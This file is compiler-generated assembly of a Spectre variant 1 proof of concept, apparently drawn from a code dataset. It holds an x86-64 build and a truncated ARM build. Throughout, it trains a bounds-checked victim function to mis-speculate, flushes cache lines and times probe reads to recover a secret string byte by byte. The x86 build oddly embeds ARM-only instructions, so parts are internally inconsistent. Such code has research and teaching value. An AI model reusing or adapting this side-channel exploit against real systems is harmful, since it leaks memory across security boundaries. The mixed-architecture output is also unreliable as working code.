	.file	"619818.c"
	.intel_syntax noprefix
	.text
	.globl	MAX_TRIES
	.data
	.align 4
	.type	MAX_TRIES, @object
	.size	MAX_TRIES, 4
MAX_TRIES:
	.long	10
	.globl	CACHE_HIT_THRESHOLD
	.align 4
	.type	CACHE_HIT_THRESHOLD, @object
	.size	CACHE_HIT_THRESHOLD, 4
CACHE_HIT_THRESHOLD:
	.long	30
	.globl	array1_size
	.align 4
	.type	array1_size, @object
	.size	array1_size, 4
array1_size:
	.long	16
	.globl	unused1
	.bss
	.align 32
	.type	unused1, @object
	.size	unused1, 64
unused1:
	.zero	64
	.globl	array1
	.data
	.align 32
	.type	array1, @object
	.size	array1, 160
array1:
	.string	"\001\002\003\004\005\006\007\b\t\n\013\f\r\016\017\020"
	.zero	143
	.globl	unused2
	.bss
	.align 32
	.type	unused2, @object
	.size	unused2, 64
unused2:
	.zero	64
	.globl	array2
	.align 32
	.type	array2, @object
	.size	array2, 131072
array2:
	.zero	131072
	.globl	secret
	.section	.rodata
	.align 8
.LC0:
	.string	"The Magic Words are Squeamish Ossifrage."
	.section	.data.rel.local,"aw"
	.align 8
	.type	secret, @object
	.size	secret, 8
secret:
	.quad	.LC0
	.globl	temp
	.bss
	.type	temp, @object
	.size	temp, 1
temp:
	.zero	1
	.text
	.globl	victim_function
	.type	victim_function, @function
victim_function:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -8[rbp], rdi
	mov	eax, DWORD PTR array1_size[rip]
	mov	eax, eax
	cmp	QWORD PTR -8[rbp], rax
	jnb	.L3
	lea	rdx, array1[rip]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	sal	eax, 9
	cdqe
	lea	rdx, array2[rip]
	movzx	edx, BYTE PTR [rax+rdx]
	movzx	eax, BYTE PTR temp[rip]
	and	eax, edx
	mov	BYTE PTR temp[rip], al
.L3:
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	victim_function, .-victim_function
	.globl	read_cycles
	.type	read_cycles, @function
read_cycles:
.LFB3:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	DWORD PTR -4[rbp], 0
#APP
# 70 "the_stack_data/619818.c" 1
	mrs eax, pmccntr_el0
# 0 "" 2
#NO_APP
	mov	DWORD PTR -4[rbp], eax
	mov	eax, DWORD PTR -4[rbp]
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE3:
	.size	read_cycles, .-read_cycles
	.globl	readMemoryByte
	.type	readMemoryByte, @function
readMemoryByte:
.LFB4:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r12
	push	rbx
	sub	rsp, 88
	.cfi_offset 12, -24
	.cfi_offset 3, -32
	mov	QWORD PTR -88[rbp], rdi
	mov	QWORD PTR -96[rbp], rsi
	mov	QWORD PTR -104[rbp], rdx
	mov	DWORD PTR -64[rbp], 0
	mov	DWORD PTR -76[rbp], 0
	jmp	.L7
.L8:
	mov	eax, DWORD PTR -76[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	DWORD PTR [rdx+rax], 0
	add	DWORD PTR -76[rbp], 1
.L7:
	cmp	DWORD PTR -76[rbp], 255
	jle	.L8
	mov	eax, DWORD PTR MAX_TRIES[rip]
	mov	DWORD PTR -80[rbp], eax
	jmp	.L9
.L23:
	mov	DWORD PTR -76[rbp], 0
	jmp	.L10
.L11:
	mov	eax, DWORD PTR -76[rbp]
	sal	eax, 9
	cdqe
	lea	rdx, array2[rip]
	add	rax, rdx
	mov	QWORD PTR -32[rbp], rax
	mov	rax, QWORD PTR -32[rbp]
#APP
# 45 "the_stack_data/619818.c" 1
	dc civac, rax
# 0 "" 2
#NO_APP
	nop
	add	DWORD PTR -76[rbp], 1
.L10:
	cmp	DWORD PTR -76[rbp], 255
	jle	.L11
	mov	eax, DWORD PTR -80[rbp]
	mov	ecx, DWORD PTR array1_size[rip]
	mov	edx, 0
	div	ecx
	mov	eax, edx
	mov	eax, eax
	mov	QWORD PTR -56[rbp], rax
	mov	DWORD PTR -72[rbp], 29
	jmp	.L12
.L13:
	lea	rax, array1_size[rip]
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
#APP
# 45 "the_stack_data/619818.c" 1
	dc civac, rax
# 0 "" 2
#NO_APP
	nop
#APP
# 58 "the_stack_data/619818.c" 1
	dmb sy
# 0 "" 2
#NO_APP
	nop
	mov	ecx, DWORD PTR -72[rbp]
	movsx	rax, ecx
	imul	rax, rax, 715827883
	shr	rax, 32
	mov	esi, ecx
	sar	esi, 31
	mov	edx, eax
	sub	edx, esi
	mov	eax, edx
	add	eax, eax
	add	eax, edx
	add	eax, eax
	sub	ecx, eax
	mov	edx, ecx
	lea	eax, -1[rdx]
	mov	ax, 0
	cdqe
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	shr	rax, 16
	or	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	xor	rax, QWORD PTR -56[rbp]
	and	rax, QWORD PTR -40[rbp]
	xor	rax, QWORD PTR -56[rbp]
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	mov	rdi, rax
	call	victim_function
	sub	DWORD PTR -72[rbp], 1
.L12:
	cmp	DWORD PTR -72[rbp], 0
	jns	.L13
	mov	DWORD PTR -76[rbp], 0
	jmp	.L14
.L16:
	mov	eax, DWORD PTR -76[rbp]
	mov	DWORD PTR -60[rbp], eax
	mov	eax, DWORD PTR -60[rbp]
	sal	eax, 9
	cdqe
	lea	rdx, array2[rip]
	add	rax, rdx
	mov	QWORD PTR -48[rbp], rax
#APP
# 58 "the_stack_data/619818.c" 1
	dmb sy
# 0 "" 2
#NO_APP
	nop
	mov	eax, 0
	call	read_cycles
	mov	r12, rax
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	mov	DWORD PTR -64[rbp], eax
#APP
# 58 "the_stack_data/619818.c" 1
	dmb sy
# 0 "" 2
#NO_APP
	nop
	mov	eax, 0
	call	read_cycles
	sub	rax, r12
	mov	rbx, rax
	mov	eax, DWORD PTR CACHE_HIT_THRESHOLD[rip]
	mov	eax, eax
	cmp	rbx, rax
	ja	.L15
	mov	eax, DWORD PTR -80[rbp]
	mov	ecx, DWORD PTR array1_size[rip]
	mov	edx, 0
	div	ecx
	mov	eax, edx
	mov	edx, eax
	lea	rax, array1[rip]
	movzx	eax, BYTE PTR [rdx+rax]
	movzx	eax, al
	cmp	DWORD PTR -60[rbp], eax
	je	.L15
	mov	eax, DWORD PTR -60[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	eax, DWORD PTR [rdx+rax]
	lea	ecx, 1[rax]
	mov	eax, DWORD PTR -60[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	DWORD PTR [rdx+rax], ecx
.L15:
	add	DWORD PTR -76[rbp], 1
.L14:
	cmp	DWORD PTR -76[rbp], 255
	jle	.L16
	mov	DWORD PTR -68[rbp], -1
	mov	eax, DWORD PTR -68[rbp]
	mov	DWORD PTR -72[rbp], eax
	mov	DWORD PTR -76[rbp], 0
	jmp	.L17
.L22:
	cmp	DWORD PTR -72[rbp], 0
	js	.L18
	mov	eax, DWORD PTR -76[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	edx, DWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -72[rbp]
	cdqe
	lea	rcx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	eax, DWORD PTR [rcx+rax]
	cmp	edx, eax
	jl	.L19
.L18:
	mov	eax, DWORD PTR -72[rbp]
	mov	DWORD PTR -68[rbp], eax
	mov	eax, DWORD PTR -76[rbp]
	mov	DWORD PTR -72[rbp], eax
	jmp	.L20
.L19:
	cmp	DWORD PTR -68[rbp], 0
	js	.L21
	mov	eax, DWORD PTR -76[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	edx, DWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -68[rbp]
	cdqe
	lea	rcx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	eax, DWORD PTR [rcx+rax]
	cmp	edx, eax
	jl	.L20
.L21:
	mov	eax, DWORD PTR -76[rbp]
	mov	DWORD PTR -68[rbp], eax
.L20:
	add	DWORD PTR -76[rbp], 1
.L17:
	cmp	DWORD PTR -76[rbp], 255
	jle	.L22
	sub	DWORD PTR -80[rbp], 1
.L9:
	cmp	DWORD PTR -80[rbp], 0
	jg	.L23
	mov	eax, DWORD PTR results.0[rip]
	xor	eax, DWORD PTR -64[rbp]
	mov	DWORD PTR results.0[rip], eax
	mov	eax, DWORD PTR -72[rbp]
	mov	edx, eax
	mov	rax, QWORD PTR -96[rbp]
	mov	BYTE PTR [rax], dl
	mov	eax, DWORD PTR -72[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	edx, DWORD PTR [rdx+rax]
	mov	rax, QWORD PTR -104[rbp]
	mov	DWORD PTR [rax], edx
	mov	rax, QWORD PTR -96[rbp]
	add	rax, 1
	mov	edx, DWORD PTR -68[rbp]
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -104[rbp]
	lea	rdx, 4[rax]
	mov	eax, DWORD PTR -68[rbp]
	cdqe
	lea	rcx, 0[0+rax*4]
	lea	rax, results.0[rip]
	mov	eax, DWORD PTR [rcx+rax]
	mov	DWORD PTR [rdx], eax
	nop
	add	rsp, 88
	pop	rbx
	pop	r12
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE4:
	.size	readMemoryByte, .-readMemoryByte
	.section	.rodata
.LC1:
	.string	"2021-06-21 16:59"
.LC2:
	.string	"Last updated %s\n"
.LC3:
	.string	"Putting '%s' in memory\n"
.LC4:
	.string	"%d"
	.align 8
.LC5:
	.string	"MAX_TRIES=%d CACHE_HIT_THRESHOLD=%d len=%d\n"
.LC6:
	.string	"Reading %d bytes:\n"
.LC7:
	.string	"Reading@malicious_x=%p "
.LC8:
	.string	"0x%02X='%c' score=%d "
	.align 8
.LC9:
	.string	"(second best: 0x%02X='%c' score=%d)"
.LC10:
	.string	"Original secret: %s\n"
.LC11:
	.string	"Recovered      : %s\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB5:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 88
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	DWORD PTR -116[rbp], edi
	mov	QWORD PTR -128[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	rax, rsp
	mov	rbx, rax
	lea	rsi, .LC1[rip]
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR secret[rip]
	mov	rsi, rax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR secret[rip]
	lea	rdx, array1[rip]
	sub	rax, rdx
	mov	QWORD PTR -96[rbp], rax
	mov	rax, QWORD PTR secret[rip]
	mov	rdi, rax
	call	strlen@PLT
	mov	DWORD PTR -112[rbp], eax
	mov	eax, DWORD PTR -112[rbp]
	add	eax, 1
	movsx	rdx, eax
	sub	rdx, 1
	mov	QWORD PTR -88[rbp], rdx
	movsx	rdx, eax
	mov	r14, rdx
	mov	r15d, 0
	movsx	rdx, eax
	mov	r12, rdx
	mov	r13d, 0
	cdqe
	mov	edx, 16
	sub	rdx, 1
	add	rax, rdx
	mov	edi, 16
	mov	edx, 0
	div	rdi
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L25:
	cmp	rsp, rdx
	je	.L26
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L25
.L26:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L27
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L27:
	mov	rax, rsp
	add	rax, 0
	mov	QWORD PTR -80[rbp], rax
	mov	DWORD PTR -108[rbp], 0
	mov	eax, DWORD PTR -112[rbp]
	add	eax, 1
	movsx	rdx, eax
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	cmp	DWORD PTR -116[rbp], 4
	jne	.L28
	mov	rax, QWORD PTR -128[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	lea	rdx, MAX_TRIES[rip]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_sscanf@PLT
	mov	rax, QWORD PTR -128[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	lea	rdx, CACHE_HIT_THRESHOLD[rip]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_sscanf@PLT
	mov	rax, QWORD PTR -128[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	lea	rdx, -112[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_sscanf@PLT
.L28:
	mov	ecx, DWORD PTR -112[rbp]
	mov	edx, DWORD PTR CACHE_HIT_THRESHOLD[rip]
	mov	eax, DWORD PTR MAX_TRIES[rip]
	mov	esi, eax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	mov	QWORD PTR -104[rbp], 0
	jmp	.L29
.L30:
	lea	rdx, array2[rip]
	mov	rax, QWORD PTR -104[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 1
	add	QWORD PTR -104[rbp], 1
.L29:
	cmp	QWORD PTR -104[rbp], 131071
	jbe	.L30
	mov	eax, DWORD PTR -112[rbp]
	mov	esi, eax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L31
.L43:
	mov	rax, QWORD PTR -96[rbp]
	mov	rsi, rax
	lea	rdi, .LC7[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -96[rbp]
	lea	rdx, 1[rax]
	mov	QWORD PTR -96[rbp], rdx
	lea	rdx, -68[rbp]
	lea	rcx, -60[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	readMemoryByte
	mov	edx, DWORD PTR -68[rbp]
	movzx	eax, BYTE PTR -60[rbp]
	cmp	al, 31
	jbe	.L32
	movzx	eax, BYTE PTR -60[rbp]
	cmp	al, 126
	ja	.L32
	movzx	eax, BYTE PTR -60[rbp]
	movzx	eax, al
	jmp	.L33
.L32:
	mov	eax, 63
.L33:
	movzx	ecx, BYTE PTR -60[rbp]
	movzx	esi, cl
	mov	ecx, edx
	mov	edx, eax
	lea	rdi, .LC8[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -64[rbp]
	test	eax, eax
	jle	.L34
	mov	edx, DWORD PTR -64[rbp]
	movzx	eax, BYTE PTR -59[rbp]
	cmp	al, 31
	jbe	.L35
	movzx	eax, BYTE PTR -59[rbp]
	cmp	al, 126
	ja	.L35
	movzx	eax, BYTE PTR -59[rbp]
	movzx	eax, al
	jmp	.L36
.L35:
	mov	eax, 63
.L36:
	movzx	ecx, BYTE PTR -59[rbp]
	movzx	esi, cl
	mov	ecx, edx
	mov	edx, eax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
.L34:
	movzx	eax, BYTE PTR -60[rbp]
	cmp	al, 31
	jbe	.L37
	movzx	eax, BYTE PTR -60[rbp]
	cmp	al, 126
	ja	.L37
	movzx	eax, BYTE PTR -60[rbp]
	jmp	.L38
.L37:
	mov	eax, 63
.L38:
	mov	BYTE PTR -58[rbp], al
	movzx	eax, BYTE PTR -59[rbp]
	cmp	al, 31
	jbe	.L39
	movzx	eax, BYTE PTR -59[rbp]
	cmp	al, 126
	ja	.L39
	movzx	eax, BYTE PTR -59[rbp]
	jmp	.L40
.L39:
	mov	eax, 63
.L40:
	mov	BYTE PTR -57[rbp], al
	movzx	eax, BYTE PTR -58[rbp]
	cmp	al, 63
	jne	.L41
	movzx	eax, BYTE PTR -57[rbp]
	cmp	al, 63
	je	.L41
	movzx	ecx, BYTE PTR -57[rbp]
	mov	rdx, QWORD PTR -80[rbp]
	mov	eax, DWORD PTR -108[rbp]
	cdqe
	mov	BYTE PTR [rdx+rax], cl
	jmp	.L42
.L41:
	movzx	ecx, BYTE PTR -58[rbp]
	mov	rdx, QWORD PTR -80[rbp]
	mov	eax, DWORD PTR -108[rbp]
	cdqe
	mov	BYTE PTR [rdx+rax], cl
.L42:
	mov	edi, 10
	call	putchar@PLT
	add	DWORD PTR -108[rbp], 1
.L31:
	mov	eax, DWORD PTR -112[rbp]
	sub	eax, 1
	mov	DWORD PTR -112[rbp], eax
	mov	eax, DWORD PTR -112[rbp]
	test	eax, eax
	jns	.L43
	mov	rax, QWORD PTR secret[rip]
	mov	rsi, rax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rax
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, 0
	mov	rsp, rbx
	mov	rbx, QWORD PTR -56[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L45
	call	__stack_chk_fail@PLT
.L45:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE5:
	.size	main, .-main
	.local	results.0
	.comm	results.0,1024,32
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"619818.c"
	.text
	.global	MAX_TRIES
	.data
	.align	2
	.type	MAX_TRIES, %object
	.size	MAX_TRIES, 4
MAX_TRIES:
	.word	10
	.global	CACHE_HIT_THRESHOLD
	.align	2
	.type	CACHE_HIT_THRESHOLD, %object
	.size	CACHE_HIT_THRESHOLD, 4
CACHE_HIT_THRESHOLD:
	.word	30
	.global	array1_size
	.align	2
	.type	array1_size, %object
	.size	array1_size, 4
array1_size:
	.word	16
	.comm	unused1,64,4
	.global	array1
	.align	2
	.type	array1, %object
	.size	array1, 160
array1:
	.ascii	"\001\002\003\004\005\006\007\010\011\012\013\014\015"
	.ascii	"\016\017\020\000"
	.space	143
	.comm	unused2,64,4
	.comm	array2,131072,4
	.global	secret
	.section	.rodata
	.align	2
.LC0:
	.ascii	"The Magic Words are Squeamish Ossifrage.\000"
	.data
	.align	2
	.type	secret, %object
	.size	secret, 4
secret:
	.word	.LC0
	.global	temp
	.bss
	.type	temp, %object
	.size	temp, 1
temp:
	.space	1
	.text
	.align	2
	.global	victim_function
	.syntax unified
	.arm
	.fpu softvfp
	.type	victim_function, %function
victim_function:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #12
	str	r0, [fp, #-8]
	ldr	r3, .L4
	ldr	r3, [r3]
	ldr	r2, [fp, #-8]
	cmp	r2, r3
	bcs	.L3
	ldr	r2, .L4+4
	ldr	r3, [fp, #-8]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	lsl	r3, r3, #9
	ldr	r2, .L4+8
	ldrb	r2, [r2, r3]	@ zero_extendqisi2
	ldr	r3, .L4+12
	ldrb	r3, [r3]	@ zero_extendqisi2
	and	r3, r3, r2
	and	r2, r3, #255
	ldr	r3, .L4+12
	strb	r2, [r3]
.L3:
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L5:
	.align	2
.L4:
	.word	array1_size
	.word	array1
	.word	array2
	.word	temp
	.size	victim_function, .-victim_function
	.align	2
	.global	read_cycles
	.syntax unified
	.arm
	.fpu softvfp
	.type	read_cycles, %function
read_cycles:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #12
	mov	r3, #0
	str	r3, [fp, #-8]
	.syntax divided
@ 70 "the_stack_data/619818.c" 1
	mrs r3, pmccntr_el0
@ 0 "" 2
	.arm
	.syntax unified
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	mov	r2, r3
	mov	r3, #0
	mov	r0, r2
	mov	r1, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	read_cycles, .-read_cycles
	.global	__aeabi_uidivmod
	.align	2
	.global	readMemoryByte
	.syntax unified
	.arm
	.fpu softvfp
	.type	readMemoryByte, %function
readMemoryByte:
	@ args = 0, pretend = 0, frame = 72
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #72
	str	r0, [fp, #-80]
	str	r1, [fp, #-84]
	str	r2, [fp, #-88]
	mov	r3, #0
	str	r3, [fp, #-56]
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L9
.L10:
	ldr	r2, .L26
	ldr	r3, [fp, #-68]
	mov	r1, #0
	str	r1, [r2, r3, lsl #2]
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L9:
	ldr	r3, [fp, #-68]
	cmp	r3, #255
	ble	.L10
	ldr	r3, .L26+4
	ldr	r3, [r3]
	str	r3, [fp, #-72]
	b	.L11
.L25:
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L12
.L13:
	ldr	r3, [fp, #-68]
	lsl	r3, r3, #9
	ldr	r2, .L26+8
	add	r3, r3, r2
	mov	r2, r3
	asr	r3, r2, #31
	str	r2, [fp, #-36]
	str	r3, [fp, #-32]
	sub	r3, fp, #36
	ldmia	r3, {r2-r3}
	.syntax divided
@ 45 "the_stack_data/619818.c" 1
	dc civac, r2
@ 0 "" 2
	.arm
	.syntax unified
	nop
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L12:
	ldr	r3, [fp, #-68]
	cmp	r3, #255
	ble	.L13
	ldr	r3, [fp, #-72]
	ldr	r2, .L26+12
	ldr	r2, [r2]
	mov	r1, r2
	mov	r0, r3
	bl	__aeabi_uidivmod
	mov	r3, r1
	str	r3, [fp, #-52]
	mov	r3, #29
	str	r3, [fp, #-64]
	b	.L14
.L15:
	ldr	r3, .L26+12
	mov	r2, r3
	asr	r3, r2, #31
	str	r2, [fp, #-28]
	str	r3, [fp, #-24]
	sub	r3, fp, #28
	ldmia	r3, {r2-r3}
	.syntax divided
@ 45 "the_stack_data/619818.c" 1
	dc civac, r2
@ 0 "" 2
	.arm
	.syntax unified
	nop
	.syntax divided
@ 58 "the_stack_data/619818.c" 1
	dmb sy
@ 0 "" 2
	.arm
	.syntax unified
	nop
	ldr	r1, [fp, #-64]
	ldr	r3, .L26+16
	smull	r0, r2, r3, r1
	asr	r3, r1, #31
	sub	r2, r2, r3
	mov	r3, r2
	lsl	r3, r3, #1
	add	r3, r3, r2
	lsl	r3, r3, #1
	sub	r2, r1, r3
	sub	r3, r2, #1
	lsr	r3, r3, #16
	lsl	r3, r3, #16
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-40]
	lsr	r3, r3, #16
	ldr	r2, [fp, #-40]
	orr	r3, r2, r3
	str	r3, [fp, #-40]
	ldr	r2, [fp, #-80]
	ldr	r3, [fp, #-52]
	eor	r2, r2, r3
	ldr	r3, [fp, #-40]
	and	r3, r3, r2
	ldr	r2, [fp, #-52]
	eor	r3, r3, r2
	str	r3, [fp, #-40]
	ldr	r0, [fp, #-40]
	bl	victim_function
	ldr	r3, [fp, #-64]
	sub	r3, r3, #1
	str	r3, [fp, #-64]
.L14:
	ldr	r3, [fp, #-64]
	cmp	r3, #0
	bge	.L15
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L16
.L18:
	ldr	r3, [fp, #-68]
	str	r3, [fp, #-48]
	ldr	r3, [fp, #-48]
	lsl	r3, r3, #9
	ldr	r2, .L26+8
	add	r3, r3, r2
	str	r3, [fp, #-44]
	.syntax divided
@ 58 "the_stack_data/619818.c" 1
	dmb sy
@ 0 "" 2
	.arm
	.syntax unified
	nop
	bl	read_cycles
	mov	r4, r0
	mov	r5, r1
	ldr	r3, [fp, #-44]
	ldrb	r3, [r3]
	and	r3, r3, #255
	str	r3, [fp, #-56]
	.syntax divided
@ 58 "the_stack_data/619818.c" 1
	dmb sy
@ 0 "" 2
	.arm
	.syntax unified
	nop
	bl	read_cycles
	mov	r2, r0
	mov	r3, r1
	subs	r6, r2, r4
	sbc	r7, r3, r5
	ldr	r3, .L26+20
	ldr	r3, [r3]
	mov	r2, r3
	mov	r3, #0
	cmp	r7, r3
	cmpeq	r6, r2
	bhi	.L17
	ldr	r3, [fp, #-72]
	ldr	r2, .L26+12
	ldr	r2, [r2]
	mov	r1, r2
	mov	r0, r3
	bl	__aeabi_uidivmod
	mov	r3, r1
	mov	r2, r3
	ldr	r3, .L26+24
	ldrb	r3, [r3, r2]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, [fp, #-48]
	cmp	r3, r2
	beq	.L17
	ldr	r2, .L26
	ldr	r3, [fp, #-48]
	ldr	r3, [r2, r3, lsl #2]
	add	r2, r3, #1
	ldr	r1, .L26
	ldr	r3, [fp, #-48]
	str	r2, [r1, r3, lsl #2]
.L17:
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L16:
	ldr	r3, [fp, #-68]
	cmp	r3, #255
	ble	.L18
	mvn	r3, #0
	str	r3, [fp, #-60]
	ldr	r3, [fp, #-60]
	str	r3, [fp, #-64]
	mov	r3, #0
	str	r3, [fp, #-68]
	b	.L19
.L24:
	ldr	r3, [fp, #-64]
	cmp	r3, #0
	blt	.L20
	ldr	r2, .L26
	ldr	r3, [fp, #-68]
	ldr	r2, [r2, r3, lsl #2]
	ldr	r1, .L26
	ldr	r3, [fp, #-64]
	ldr	r3, [r1, r3, lsl #2]
	cmp	r2, r3
	blt	.L21
.L20:
	ldr	r3, [fp, #-64]
	str	r3, [fp, #-60]
	ldr	r3, [fp, #-68]
	str	r3, [fp, #-64]
	b	.L22
.L21:
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	blt	.L23
	ldr	r2, .L26
	ldr	r3, [fp, #-68]
	ldr	r2, [r2, r3, lsl #2]
	ldr	r1, .L26
	ldr	r3, [fp, #-60]
	ldr	r3, [r1, r3, lsl #2]
	cmp	r2, r3
	blt	.L22
.L23:
	ldr	r3, [fp, #-68]
	str	r3, [fp, #-60]
.L22:
	ldr	r3, [fp, #-68]
	add	r3, r3, #1
	str	r3, [fp, #-68]
.L19:
	ldr	r3, [fp, #-68]
	cmp	r3, #255
	ble	.L24
	ldr	r3, [fp, #-72]
	sub	r3, r3, #1
	str	r3, [fp, #-72]
.L11:
	ldr	r3, [fp, #-72]
	cmp	r3, #0
	bgt	.L25
	ldr	r3, .L26
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r3, [fp, #-56]
	eor	r3, r3, r2
	mov	r2, r3
	ldr	r3, .L26
	str	r2, [r3]
	ldr	r3, [fp, #-64]
	and	r2, r3, #255
	ldr	r3, [fp, #-84]
	strb	r2, [r3]
	ldr	r2, .L26
	ldr	r3, [fp, #-64]
	ldr	r2, [r2, r3, lsl #2]
	ldr	r3, [fp, #-88]
	str	r2, [r3]
	ldr	r3, [fp, #-84]
	add	r3, r3, #1
	ldr	r2, [fp, #-60]
	and	r2, r2, #255
	strb	r2, [r3]
	ldr	r3, [fp, #-88]
	add	r3, r3, #4
	ldr	r1, .L26
	ldr	r2, [fp, #-60]
	ldr	r2, [r1, r2, lsl #2]
	str	r2, [r3]
	nop
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L27:
	.align	2
.L26:
	.word	results.4845
	.word	MAX_TRIES
	.word	array2
	.word	array1_size
	.word	715827883
	.word	CACHE_HIT_THRESHOLD
	.word	array1
	.size	readMemoryByte, .-readMemoryByte
	.section	.rodata
	.align	2
.LC1:
